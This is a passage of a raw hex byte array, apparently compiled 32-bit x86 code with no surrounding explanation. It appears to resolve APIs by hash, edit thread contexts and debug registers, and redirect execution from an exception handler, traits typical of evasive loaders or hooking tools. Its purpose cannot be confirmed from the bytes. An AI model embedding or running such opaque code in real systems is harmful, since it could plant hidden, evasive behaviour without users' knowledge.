x45,0xD8,0x11,0x55,0xDC,0x8B,0x5D,0xD8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xD0,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x17,0x02,0x00,0x00,0x8B,0x5D,0xA0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x0F,0x84,0xEA,0x01,0x00,0x00,0x8B,0x55,0xA0,0x8B,0x45,0xAC,0x01,0xC2,0x8B,0x45,0xD8,0x29,0xC2,0x89,0x55,0xB0,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xEB,0x50,0x8B,0x45,0xC0,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x80,0x38,0x07,0x00,0x00,0x85,0xC0,0x74,0x34,0x8B,0x45,0xC0,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x80,0x24,0x05,0x00,0x00,0x85,0xC0,0x74,0x1C,0x8B,0x45,0xC0,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x90,0x24,0x05,0x00,0x00,0x8B,0x45,0x08,0x89,0x50,0x30,0xEB,0x0E,0x83,0x45,0xC0,0x01,0x8B,0x55,0xC0,0x8B,0x45,0x8C,0x39,0xC2,0x72,0xA6,0x8B,0x45,0x08,0x8B,0x55,0xAC,0x89,0x10,0x8B,0x4D,0x08,0x8B,0x45,0xA0,0x8B,0x55,0xA4,0x89,0x41,0x08,0x89,0x51,0x0C,0x8B,0x45,0x08,0x8B,0x55,0xD4,0x89,0x50,0x10,0x8B,0x45,0x08,0x8B,0x55,0xD0,0x89,0x50,0x14,0x8B,0x4D,0x08,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x89,0x41,0x18,0x89,0x51,0x1C,0x8B,0x45,0x08,0x8B,0x55,0xB0,0x89,0x50,0x20,0x8B,0x45,0x08,0x8B,0x40,0x14,0x89,0xC1,0x8B,0x45,0x08,0x8B,0x50,0x1C,0x8B,0x40,0x18,0x01,0xC8,0x89,0xC2,0x8B,0x45,0x08,0x89,0x50,0x24,0x8B,0x45,0x08,0x8B,0x55,0xC8,0x89,0x50,0x34,0x8B,0x45,0x08,0x8B,0x40,0x24,0x2B,0x45,0xCC,0x89,0xC2,0x8B,0x45,0x08,0x89,0x50,0x24,0x8B,0x45,0x08,0x8B,0x40,0x24,0x2B,0x45,0x94,0x89,0xC2,0x8B,0x45,0x08,0x89,0x50,0x24,0x8B,0x45,0x08,0x8B,0x40,0x24,0x8B,0x55,0xC8,0x89,0x10,0x8B,0x45,0x08,0x8B,0x40,0x24,0x2B,0x45,0x94,0x89,0xC2,0x8B,0x45,0x08,0x89,0x50,0x24,0x8B,0x45,0x08,0x8B,0x40,0x24,0x8B,0x55,0x90,0x89,0x10,0x8B,0x45,0x08,0x8B,0x50,0x24,0x8B,0x45,0x08,0x89,0x50,0x2C,0x8B,0x45,0x8C,0x8B,0x55,0x08,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8B,0x45,0xB4,0x89,0x04,0x24,0xE8,0x2C,0xFB,0xFF,0xFF,0x8B,0x45,0x08,0x8B,0x40,0x24,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x31,0xF2,0xFF,0xFF,0x8B,0x55,0x08,0x89,0x42,0x24,0x8B,0x45,0x08,0x8B,0x40,0x28,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x16,0xF2,0xFF,0xFF,0x8B,0x55,0x08,0x89,0x42,0x28,0x8B,0x45,0x08,0x8B,0x40,0x2C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xFB,0xF1,0xFF,0xFF,0x8B,0x55,0x08,0x89,0x42,0x2C,0xC7,0x45,0xBC,0x01,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xEB,0x27,0x8B,0x45,0xB8,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x80,0x38,0x07,0x00,0x00,0x85,0xC0,0x74,0x0B,0x83,0x7D,0xBC,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0x83,0x45,0xB8,0x01,0x8B,0x55,0xB8,0x8B,0x45,0x8C,0x39,0xC2,0x72,0xCF,0xC7,0x45,0xE4,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xE4,0x00,0x75,0x29,0x83,0x7D,0xD0,0x00,0x74,0x23,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xD0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x83,0x7D,0xE4,0x00,0x75,0x29,0x83,0x7D,0xD4,0x00,0x74,0x23,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xD4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x83,0x7D,0xE4,0x00,0x75,0x29,0x83,0x7D,0xC8,0x00,0x74,0x23,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xC8,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x83,0x7D,0xB4,0x00,0x74,0x23,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xB4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xE4,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x8B,0x4C,0x24,0x04,0x31,0xC0,0x8B,0x51,0x04,0x8B,0x79,0x08,0x8B,0x31,0x8A,0x1C,0x06,0x88,0x1C,0x07,0x40,0x39,0xD0,0x75,0xF5,0x31,0xC0,0x8B,0x71,0x0C,0x8B,0x79,0x14,0x8B,0x51,0x10,0x8A,0x1C,0x06,0x88,0x1C,0x07,0x40,0x39,0xD0,0x75,0xF5,0x8B,0x41,0x20,0x8B,0x40,0x04,0x8B,0x51,0x04,0x89,0x10,0x8B,0x51,0x08,0x89,0x50,0x04,0x8B,0x11,0x89,0x50,0x08,0x89,0x58,0x0C,0x89,0x68,0x10,0x5A,0x89,0x60,0x14,0x89,0x50,0x18,0x8B,0x41,0x34,0x8B,0x69,0x18,0x8B,0x51,0x2C,0x83,0xFA,0x00,0x75,0x20,0x8B,0x55,0x00,0x89,0x55,0x04,0x8B,0x51,0x24,0x83,0xC2,0x02,0x89,0x55,0x00,0x83,0xC5,0x04,0x8B,0x51,0x30,0x83,0xFA,0x00,0x74,0x06,0x8B,0x55,0x00,0x89,0x55,0xFC,0x83,0xF8,0x01,0x7C,0x0B,0x8B,0x5C,0x81,0x34,0x89,0x5C,0x85,0x00,0x48,0xEB,0xF0,0x8B,0x61,0x18,0x8B,0x69,0x1C,0x8B,0x41,0x28,0x8B,0x59,0x24,0x89,0xE2,0xFF,0xE3,0x90,0x0F,0x0B,0x55,0x89,0xE5,0x57,0x53,0x83,0xEC,0x70,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8D,0x45,0x10,0x89,0x45,0x98,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x81,0x6A,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0x63,0x01,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x18,0x6A,0x00,0x00,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x4E,0x01,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x45,0xA0,0x89,0x04,0x24,0xE8,0x7F,0xF9,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x32,0x01,0x00,0x00,0x8B,0x45,0xD0,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x09,0x8B,0x45,0xE4,0x83,0xC0,0x02,0x89,0x45,0xF0,0x8D,0x45,0x9C,0x89,0x44,0x24,0x04,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x01,0x06,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x60,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xD3,0x00,0x00,0x00,0x8B,0x55,0xA0,0x8B,0x45,0xEC,0x89,0x10,0x8B,0x45,0xA8,0x8B,0x55,0xAC,0x89,0xC2,0x8B,0x45,0xEC,0x89,0x50,0x04,0x8B,0x55,0xB0,0x8B,0x45,0xEC,0x89,0x50,0x08,0x8B,0x55,0xB4,0x8B,0x45,0xEC,0x89,0x50,0x0C,0x8B,0x45,0xB8,0x8B,0x55,0xBC,0x89,0xC2,0x8B,0x45,0xEC,0x89,0x50,0x10,0x8B,0x55,0xC0,0x8B,0x45,0xEC,0x89,0x50,0x14,0x8B,0x55,0xC4,0x8B,0x45,0xEC,0x89,0x50,0x18,0x8B,0x55,0xC8,0x8B,0x45,0xEC,0x89,0x50,0x1C,0x8B,0x55,0xCC,0x8B,0x45,0xEC,0x89,0x50,0x20,0x8B,0x45,0xEC,0xC7,0x40,0x2C,0x00,0x00,0x00,0x00,0xE8,0xD0,0x69,0x00,0x00,0x8B,0x55,0xEC,0x89,0x42,0x30,0x8B,0x45,0xEC,0x8B,0x55,0xE4,0x89,0x50,0x24,0x8B,0x45,0xEC,0x8B,0x55,0xE0,0x89,0x50,0x28,0x8B,0x45,0xEC,0x8B,0x55,0x0C,0x89,0x50,0x34,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xEB,0x1C,0x8B,0x45,0x98,0x8D,0x50,0x04,0x89,0x55,0x98,0x8B,0x10,0x8B,0x45,0xEC,0x8B,0x4D,0xE8,0x83,0xC1,0x0C,0x89,0x54,0x88,0x08,0x83,0x45,0xE8,0x01,0x8B,0x45,0xE8,0x3B,0x45,0x0C,0x72,0xDC,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x97,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xEC,0x00,0x74,0x23,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xB0,0x85,0xC0,0x74,0x23,0x8B,0x5D,0xB0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xB4,0x85,0xC0,0x74,0x23,0x8B,0x5D,0xB4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0xD4,0x85,0xC0,0x74,0x23,0x8B,0x5D,0xD4,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x8B,0x45,0x9C,0x85,0xC0,0x74,0x0B,0x8B,0x45,0x9C,0x89,0x04,0x24,0xE8,0x6F,0x05,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x65,0xF8,0x5B,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x18,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xE8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xE4,0x83,0x7D,0xEC,0x00,0x74,0x0C,0x83,0x7D,0xE8,0x00,0x74,0x06,0x83,0x7D,0xE4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x81,0x01,0x00,0x00,0x8B,0x45,0xEC,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0xC7,0x00,0x18,0x00,0x00,0x00,0x8B,0x45,0xE8,0xC7,0x40,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x8B,0x55,0x10,0x89,0x50,0x0C,0x8B,0x45,0xE8,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0xC7,0x40,0x10,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0xC7,0x40,0x14,0x00,0x00,0x00,0x00,0x8B,0x55,0x08,0x8B,0x45,0xE4,0x89,0x10,0x8B,0x45,0xE4,0xC7,0x40,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x44,0x24,0x14,0x8B,0x45,0xE8,0x89,0x44,0x24,0x10,0x8B,0x45,0x0C,0x89,0x44,0x24,0x0C,0x8B,0x45,0xEC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x04,0x00,0x00,0x00,0xC7,0x04,0x24,0x0F,0x2A,0x9B,0xCD,0xE8,0x3B,0xFC,0xFF,0xFF,0x89,0x45,0xF0,0x8B,0x45,0xEC,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF0,0x00,0x79,0x07,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xAF,0xA3,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x83,0x7D,0xE8,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x18,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x64,0xA3,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xE8,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0xE4,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x89,0x04,0x24,0xE8,0x19,0xA3,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0xC9,0xC3,0x90,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x10,0x8B,0x45,0x10,0xBA,0x01,0x00,0x00,0x00,0x89,0xC1,0xD3,0xE2,0x89,0xD0,0x83,0xE8,0x01,0x89,0x45,0xF8,0x8B,0x45,0x0C,0x8B,0x55,0xF8,0x89,0xC1,0xD3,0xE2,0x89,0xD0,0xF7,0xD0,0x23,0x45,0x08,0x89,0xC2,0x8B,0x45,0x0C,0x8B,0x5D,0x14,0x89,0xC1,0xD3,0xE3,0x89,0xD8,0x09,0xD0,0x89,0x45,0x08,0x8B,0x45,0x08,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x83,0x7D,0x0C,0x03,0x74,0x44,0x83,0x7D,0x0C,0x03,0x7F,0x49,0x83,0x7D,0x0C,0x02,0x74,0x2C,0x83,0x7D,0x0C,0x02,0x7F,0x3D,0x83,0x7D,0x0C,0x00,0x74,0x08,0x83,0x7D,0x0C,0x01,0x74,0x0E,0xEB,0x2F,0x8B,0x45,0x08,0xC7,0x40,0x04,0x00,0x00,0x00,0x00,0xEB,0x23,0x8B,0x45,0x08,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0x08,0xC7,0x40,0x0C,0x00,0x00,0x00,0x00,0xEB,0x0B,0x8B,0x45,0x08,0xC7,0x40,0x10,0x00,0x00,0x00,0x00,0x90,0x8B,0x45,0x0C,0x8D,0x14,0x00,0x8B,0x45,0x08,0x8B,0x40,0x18,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x01,0x00,0x00,0x00,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x36,0xFF,0xFF,0xFF,0x8B,0x55,0x08,0x89,0x42,0x18,0x8B,0x45,0x08,0xC7,0x40,0x14,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x83,0x7D,0x10,0x03,0x74,0x41,0x83,0x7D,0x10,0x03,0x7F,0x45,0x83,0x7D,0x10,0x02,0x74,0x2A,0x83,0x7D,0x10,0x02,0x7F,0x39,0x83,0x7D,0x10,0x00,0x74,0x08,0x83,0x7D,0x10,0x01,0x74,0x0D,0xEB,0x2B,0x8B,0x55,0x0C,0x8B,0x45,0x08,0x89,0x50,0x04,0xEB,0x20,0x8B,0x55,0x0C,0x8B,0x45,0x08,0x89,0x50,0x08,0xEB,0x15,0x8B,0x55,0x0C,0x8B,0x45,0x08,0x89,0x50,0x0C,0xEB,0x0A,0x8B,0x55,0x0C,0x8B,0x45,0x08,0x89,0x50,0x10,0x90,0x8B,0x45,0x08,0x8B,0x40,0x18,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x10,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x10,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x99,0xFE,0xFF,0xFF,0x8B,0x55,0x08,0x89,0x42,0x18,0x8B,0x45,0x10,0x8D,0x14,0x00,0x8B,0x45,0x08,0x8B,0x40,0x18,0xC7,0x44,0x24,0x0C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x01,0x00,0x00,0x00,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x6B,0xFE,0xFF,0xFF,0x8B,0x55,0x08,0x89,0x42,0x18,0x8B,0x45,0x08,0xC7,0x40,0x14,0x00,0x00,0x00,0x00,0x90,0xC9,0xC3,0x8B,0x4C,0x24,0x04,0x8B,0x01,0x8B,0x00,0x3D,0x04,0x00,0x00,0x80,0x75,0x42,0x8B,0x49,0x04,0x8B,0x81,0xB0,0x00,0x00,0x00,0x8B,0xB9,0xC4,0x00,0x00,0x00,0xBE,0xEF,0xBE,0xAD,0xDE,0x83,0xC7,0x04,0x39,0x37,0x75,0xF9,0x8B,0x7F,0x04,0x8B,0x0F,0x8B,0x77,0x04,0x8B,0x57,0x08,0x8A,0x5C,0x0E,0xFF,0x88,0x5C,0x0A,0xFF,0x49,0x83,0xF9,0x00,0x75,0xF2,0x8B,0x5F,0x0C,0x8B,0x6F,0x10,0x8B,0x67,0x14,0x8B,0x7F,0x18,0xFF,0xE7,0xB8,0xFF,0xFF,0xFF,0xFF,0xC3,0x90,0x0F,0x0B,0x55,0x89,0xE5,0x57,0x81,0xEC,0xF4,0x02,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8D,0x95,0x1C,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0xB3,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x44,0x24,0x08,0xCC,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x85,0x1C,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x95,0xA0,0x00,0x00,0xC7,0x85,0x1C,0xFD,0xFF,0xFF,0x3F,0x00,0x01,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x08,0xE1,0x48,0x65,0xE8,0xA8,0x2D,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x1D,0xB1,0x9D,0xA7,0x89,0x04,0x24,0xE8,0x17,0x2C,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x8C,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x2B,0x48,0x65,0xC7,0x04,0x24,0x01,0x00,0x00,0x00,0x8B,0x45,0xE8,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x6F,0x8D,0x85,0x1C,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFE,0xFF,0xFF,0xFF,0xE8,0x92,0x69,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x53,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0x1C,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xF1,0xFD,0xFF,0xFF,0x8D,0x85,0x1C,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFE,0xFF,0xFF,0xFF,0xE8,0x77,0x69,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x1A,0x8B,0x45,0x0C,0x8B,0x55,0xEC,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0xF4,0x02,0x00,0x00,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0x8D,0x95,0x20,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0xB3,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x44,0x24,0x08,0xCC,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x85,0x20,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x6A,0x9F,0x00,0x00,0xC7,0x85,0x20,0xFD,0xFF,0xFF,0x3F,0x00,0x01,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x08,0xE1,0x48,0x65,0xE8,0x76,0x2C,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xA3,0x0E,0x38,0x24,0x89,0x04,0x24,0xE8,0xE5,0x2A,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x6B,0x8D,0x85,0x20,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFE,0xFF,0xFF,0xFF,0xE8,0x84,0x68,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x78,0x4F,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x85,0x20,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x47,0xFC,0xFF,0xFF,0x8D,0x85,0x20,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFE,0xFF,0xFF,0xFF,0xE8,0x70,0x68,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x78,0x1D,0x8B,0x45,0x08,0x89,0x04,0x24,0x8B,0x45,0xEC,0xFF,0xD0,0x83,0xEC,0x04,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x90,0x8B,0x7D,0xFC,0xC9,0xC3,0x90,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0x83,0x7D,0x08,0x00,0x74,0x14,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x57,0x67,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x09,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xC8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x0F,0x84,0xDE,0x00,0x00,0x00,0xC7,0x45,0xEC,0x1C,0xE1,0x48,0x65,0x66,0xC7,0x45,0xE8,0xA0